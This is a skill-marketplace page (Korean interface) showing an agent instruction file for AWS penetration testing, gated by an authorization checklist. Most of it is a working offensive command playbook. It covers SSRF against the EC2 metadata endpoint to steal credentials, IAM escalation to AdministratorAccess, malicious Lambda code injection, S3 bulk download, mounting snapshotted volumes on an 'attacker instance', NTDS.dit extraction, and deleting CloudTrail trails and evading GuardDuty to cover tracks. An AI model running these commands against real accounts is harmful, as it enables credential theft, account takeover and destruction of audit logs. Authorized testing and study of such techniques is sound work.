본문으로 건너뛰기
cccskills
무료GitHub에 공개

aws-penetration-testing

Support authorized penetration testing of AWS environments by examining IAM permissions and resources such as S3, EC2, and Lambda. It guides identifying privilege escalation paths, where access can be expanded, and documenting security audit findings.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

원문원문 설명 보기

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

연동 도구AWS
설치 방법 보기

이럴 때 유용합니다

  • Review IAM permissions for privilege escalation paths
  • Assess access to S3 buckets and Lambda functions
  • Validate credential exposure risks through EC2 metadata
  • Plan authorized AWS testing and document audit findings

포함된 파일(2)

  • SKILL.md10.8 KB
  • references/advanced-aws-pentesting.md11.8 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

AWS Penetration Testing

Purpose

Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.

Inputs/Prerequisites

  • AWS CLI configured with credentials
  • Valid AWS credentials (even low-privilege)
  • Understanding of AWS IAM model
  • Python 3, boto3 library
  • Tools: Pacu, Prowler, ScoutSuite, SkyArk

Outputs/Deliverables

  • IAM privilege escalation paths
  • Extracted credentials and secrets
  • Compromised EC2/Lambda/S3 resources
  • Persistence mechanisms
  • Security audit findings

Essential Tools

ToolPurposeInstallation
PacuAWS exploitation frameworkgit clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin discoveryImport-Module .\SkyArk.ps1
ProwlerSecurity auditingpip install prowler
ScoutSuiteMulti-cloud auditingpip install scoutsuite
enumerate-iamPermission enumerationgit clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM analysispip install principalmapper

Core Workflow

Step 1: Initial Enumeration

Identify the compromised identity and permissions:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...

Step 2: IAM Enumeration

# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME

Step 3: Metadata SSRF (EC2)

Exploit SSRF to access metadata endpoint (IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

For IMDSv2 (token required):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate Container Credentials:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

Privilege Escalation Techniques

Shadow Admin Permissions

These permissions are equivalent to administrator:

PermissionExploitation
iam:CreateAccessKeyCreate keys for admin user
iam:CreateLoginProfileSet password for any user
iam:AttachUserPolicyAttach admin policy to self
iam:PutUserPolicyAdd inline admin policy
iam:AddUserToGroupAdd self to admin group
iam:PassRole + ec2:RunInstancesLaunch EC2 with admin role
lambda:UpdateFunctionCodeInject code into Lambda

Create Access Key for Another User

aws iam create-access-key --user-name target_user

Attach Admin Policy

aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Add Inline Admin Policy

aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json

Lambda Privilege Escalation

# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 Bucket Exploitation

Bucket Discovery

# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}

Bucket Enumeration

# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder

Public Bucket Search

https://buckets.grayhatwarfare.com/

Lambda Exploitation

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM Command Execution

Systems Manager allows command execution on EC2 instances:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 Exploitation

Mount EBS Volume

# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen

Shadow Copy Attack (Windows DC)

# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

Console Access from API Keys

Convert CLI credentials to console access:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

Covering Tracks

Disable CloudTrail

# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

Note: Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.


Quick Reference

TaskCommand
Get identityaws sts get-caller-identity
List usersaws iam list-users
List rolesaws iam list-roles
List bucketsaws s3 ls
List EC2aws ec2 describe-instances
List Lambdaaws lambda list-functions
Get metadatacurl http://169.254.169.254/latest/meta-data/

Constraints

Must:

  • Obtain written authorization before testing
  • Document all actions for audit trail
  • Test in scope resources only

Must Not:

  • Modify production data without approval
  • Leave persistent backdoors without documentation
  • Disable security controls permanently

Should:

  • Check for IMDSv2 before attempting metadata attacks
  • Enumerate thoroughly before exploitation
  • Clean up test resources after engagement

Examples

Example 1: SSRF to Admin

# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

Troubleshooting

IssueSolution
Access Denied on all commandsEnumerate permissions with enumerate-iam
Metadata endpoint blockedCheck for IMDSv2, try container metadata
GuardDuty alertsUse Pacu with custom user-agent
Expired credentialsRe-fetch from metadata (temp creds rotate)
CloudTrail logging actionsConsider disable or log obfuscation

Additional Resources

For advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see references/advanced-aws-pentesting.md.

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Assess a new or existing AI project by examining its code, goals, and constraints. Recommend skills confirmed to exist in the available registry, then outline tasks and implementation phases with dependencies, completion criteria, and checks.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Planning the first steps of a new AI project
  • Assessing technical issues in an existing project
  • Selecting relevant skills from an available registry
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

007

무료

Review code and infrastructure for security risks, map potential threats, and plan stronger defenses. The skill covers OWASP checks, attack and defense exercises, and incident response, with validation required for each environment.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Reviewing code and infrastructure security
  • Mapping threats with STRIDE or PASTA
  • Planning stronger security settings
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

Turn a repeatable task into an Andru.ia skill with clear inputs, outputs, examples, and limits. Draft SKILL.md, check the folder structure and required validations, and prepare a pull request describing the changes for review.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Creating a skill for a repeatable task
  • Improving an existing skill’s examples and limits
  • Validating skill files and preparing a pull request
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

Prepare an industry briefing once a project's sector is defined. It covers sector context, potentially applicable regulations, familiar interface patterns, technology choices, and risks, while separating verified evidence from hypotheses and questions requiring further review.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Researching industry requirements before product design
  • Checking regulations for a project's jurisdiction
  • Choosing interface patterns familiar to target users
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

Create presentation drafts from text, outlines, or documents through the 2slides API. Match a reference image's style, choose themes, add AI voice narration, and export slide images or audio for review and use.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Create a presentation from text or an outline
  • Summarize a document into slides
  • Match slide styling to a reference image
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

Plan a 360-degree or peer feedback process and create empty response templates from confirmed requirements. Produces consistent CSV, SQL, JSON Schema, or Notion property mappings while keeping visibility choices and scoring configuration separate.

한국어 요약은 준비 중입니다. 영어 요약을 표시하고 있습니다.

  • Plan an anonymous peer feedback process
  • Create a CSV template for feedback responses
  • Align feedback fields across SQL and JSON Schema
sickn33/agentic-awesome-skills4.8만2026년 10월 19일 업데이트

sickn33의 스킬 모두 보기

이 스킬의 문제 신고